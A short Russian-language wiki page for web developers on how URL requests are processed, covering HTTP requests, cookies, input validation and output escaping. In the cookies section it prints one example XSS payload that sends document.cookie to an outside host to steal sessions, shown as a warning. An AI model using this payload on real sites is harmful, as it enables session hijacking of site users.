Инструменты пользователя

Инструменты сайта


start:процесс_обработки_urls

Процесс обработки URL

Каждый разработчик должен понимать, что происходит с момента ввода адреса страницы в браузере и вывода содержимого на экран – процесс обработки URL. По своей сути, веб-разработка – это процесс обработки url (запрос/ответ). Чем прозрачнее данный процесс, тем легче расширять ваше веб-приложение.

Ключевые понятия:

  • HTTP Request/Response
  • Cookies (сессии)
  • Обработка пользовательского ввода
  • Вывод данных

HTTP Request/Response

Для полного понимания процесса советую вам открыть вкладку Net в Firebug’е или Fiddler и посмотреть, какие именно http-запросы отправляются и какие приходят ответы.

Cookies

Cookies бывают сессионными (до закрытия браузера) и временные (устанавливается срок жизни). Как правило, в сессионных cookies хранится пользовательская сессия (PHPSESSID). Cookies устанавливаются как для пути (/), так и целиком для домена (поддоменов). Управление cookies происходит как на стороне сервера, так и на стороне клиента.

При XSS уязвимостях злоумышленник первым делом попытается выкрасть cookies, например вставкой следующего кода:

<script>document.write('<img src="http://victim/save-cookies.php?cookie="'+escape(document.cookie)+'" />');</script>

После этого, скорее всего, злоумышленник получит контроль над вашей сессией и будет чувствовать себя как дома…

Пользовательский ввод

Не доверяйте никому. По возможности используйте строгую типизацию, это избавит вас от возможных ошибок. Если на странице у вас используется постраничный вывод, то помните, что страница не может быть отрицательной и вылезать за общее кол-во страниц. Любознательный пользователь обязательно попробует передать в переменную page все что угодно, но не то, что вы ожидаете прежде всего.

Вывод данных. Шаблоны

Если вы работаете с пользовательским вводом, то перед выводом полученных пользовательских данных обработайте их. Как правило, хватает обычного htmlspecialchars и striptags.

start/процесс_обработки_urls.txt · Последние изменения: 2012/01/11 01:17 — sergeyfast